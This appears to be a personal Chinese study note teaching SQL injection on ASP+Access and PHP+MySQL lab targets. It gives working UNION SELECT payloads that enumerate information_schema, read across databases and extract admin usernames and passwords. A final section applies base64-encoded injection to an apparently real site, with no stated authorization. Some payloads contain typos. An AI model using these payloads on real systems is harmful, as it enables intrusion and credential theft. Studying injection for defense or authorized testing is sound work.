Web学习24

  1. 知识点
  2. 案例
    1. ASP+Access-简易注入-字典猜解
    2. ASP+Access-偏移注入-报错显示
    3. PHP+MYSQL-简易注入-存储特性
    4. PHP+MYSQL-跨库注入-权限属性
    5. 实战

知识点

1、脚本代码与数据库前置知识
2、Access数据库注入-简易&偏移 (数据库是通过脚本代码去连接执行的)
3、MYSQL数据库注入-简易&权限跨库

前置知识:
-SQL注入漏洞产生原理分析
-SQL注入漏洞危害利用分析
-脚本代码与数据库操作流程
-数据库名,表名,列名,数据
-数据库类型,数据库用户,用户权限

案例

ASP+Access-简易注入-字典猜解
ASP+Access-偏移注入-报错显示
PHP+MYSQL-简易注入-存储特性
PHP+MYSQL-跨库注入-权限属性

脚本代码在实现代码与数据库进行数据通讯时,将定义好的SQL语句进行执行查询数据时。会使其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员账号密码)。这一个过程就可以叫做SQL注入漏洞。

SQL语句查询,删除,添加,修改等操作
SQL语句有写法规则,也就是说必须符合正确的写法才能执行成功
漏洞产生根本条件:可控变量+特定函数


SQL注入攻击流程:
1、猜测数据库类型
2、根据类型选择思路

ACCESS
数据库名
表名
列名
数据

ASP+Access-简易注入-字典猜解

通过测试得知一共有1513行数据

当输入?id=1513 order by 22时正常回显,但是输入?id=1513 order by 23时页面报错,说明它的字段数是22个


查询admin表名:
UNION select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
查询admin表名下的admin等列名


回显了一个3,说明这是注入点位,只有3和15这两列的数据会显示在前端页面上
UNION select
1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

UNION select
1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

再在15点位上输入password,就出现了账号密码

如果列名猜错了,就会直接报错

如果表名猜错了,也会报错

总结:由于Access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的那么就会出现一种情况,表名或列名猜解不到可以自定义社工字典或采用偏移注入

ASP+Access-偏移注入-报错显示

相关文章:https://www.cnblogs.com/02SWD/p/15811580.html这个文章讲的十分的翔实,值得一看。

偏移注入就是解决表名已知但是列名未知的情况。

偏移注入的基本公式:**联合查询所要补充的字段数 = 当前字段数量 - 目标表的字段数 x N(N=1,2...)**

  • 【注意:“联合查询所要补充的字段数” 指的是union关键字后面的select查询所需补充的字段数】
  • 在此处即为:联合查询补充字段数 = 当前字段数量(22) - admin表的字段数(6) x N
  • 当N=1时我们称为 “1级偏移注入”,当N=2时我们称为 “2级偏移注入”;当N=3时我们称为 “3级偏移注入”,…

PHP+MYSQL-简易注入-存储特性

MYSQL 统一管理
最高数据库用户 = root用户
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C

为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证互不关联,从而不会影响到其他数据库的运行。
MYSQL两种思路:
1、非ROOT的注入攻击:常规类的猜解
2、ROOT用户的注入攻击:文件读写操作,跨库查询注入等
黑盒测试中可以采用user()获取当前用户权限,白盒中看连接用户即可
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息的表

输入?id=2 order by 18时报错,当输入17时正常,说明字段数是17

在information_schema下面有一张叫做TABLES的表,TABLES的表里的TABLE_NAME就会记录所有的表名,

获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看是否符合ROOT型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

ROOT类型攻击-猜解数据,文件读写,跨库查询

获取当前数据库下面的表名信息:

输入?id=-2 UNION SELECT database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17得到数据库名字为syguestbook

输入?id=-2 UNION SELECT version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17得到版本为5.5.53

输入?id=-2 UNION SELECT user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17得到当前用户为root@localhost(看到root说明可以进行跨库查询o)

输入?id=-2 UNION SELECT @@version_compie_os,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17得到当前用户为Win32

输入?id=-2 UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’syguestbook’(.代表下一级的意思)获取表名信息

解释:查询表名table_name从information_schema下面的tables这个记录表名信息的表,其中数据库名它等于syguestbook

返回了syguestbook数据库下Tables表下的五个表shop&sy_adminuser&sy_guestbook&sy_voteip&users

如果刚才的语句只能输出一个表名,那么我们就需要加上group_concat语句即输入?id=-2 UNION SELECT group_concat((table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’syguestbook’
就可以全部显示表名信息

输入UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’sy_adminuser’ and table_schema = ‘syguestbook’获取列名信息

输入UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser获取账号密码具体数据

image-20240614181002476

总结
获取当前数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’syguestbook’
获取sy_adminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’sy_adminuser’ and table_schema = ‘syguestbook’
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

PHP+MYSQL-跨库注入-权限属性

跨库注入:实现当前网站跨库查询其他数据库对应网站的数据(需要有root权限)
获取当前mysql下的所有数据库名

在information_schema下的schema_name有所有的数据库名

输入?id=-2 UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata获取所有数据库名

输入UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’xhcms’获取xhcms下的表名信息

输入UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’manage’ and table_schema = ‘xhcms’获取manage(manege是张表)下的列名信息

输入UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage(因为这是跨库查询,所以必须加上数据库的名字)获取指定数据

代码设计是默认进去到syguestbook的数据库,所以你直接写manage他是去访问syguesbook,所以得标注下xhcms

实战

这个网站会先解密base64的数据,所以我们在进行sql注入的时候要先加语句进行base64加密,在进行order by查询字段数时,发现7是正常回显,8是报错的,所以字段数为7

输入1 union select 1,2,3,4,5,6,7的base64加密字符后得到了注入点为2,5,4

输入 1 union select 1,user(),3,version(),database(),6,7的base64加密字符后,分别得到了user是csearch@localhost database是csearch,版本是4.1.22-standard,好像…得5以上的版本才有information_schema,所以只能靠爆破捏,但是这狗日的还要base64加密,所以有点麻烦。

去burp上搞个字典,然后再base64加密,进行爆破一下,但是貌似得把字典前面也都加上固定的格式,不然不太好搞

或者用sqlmap注入base64编码会更方便一点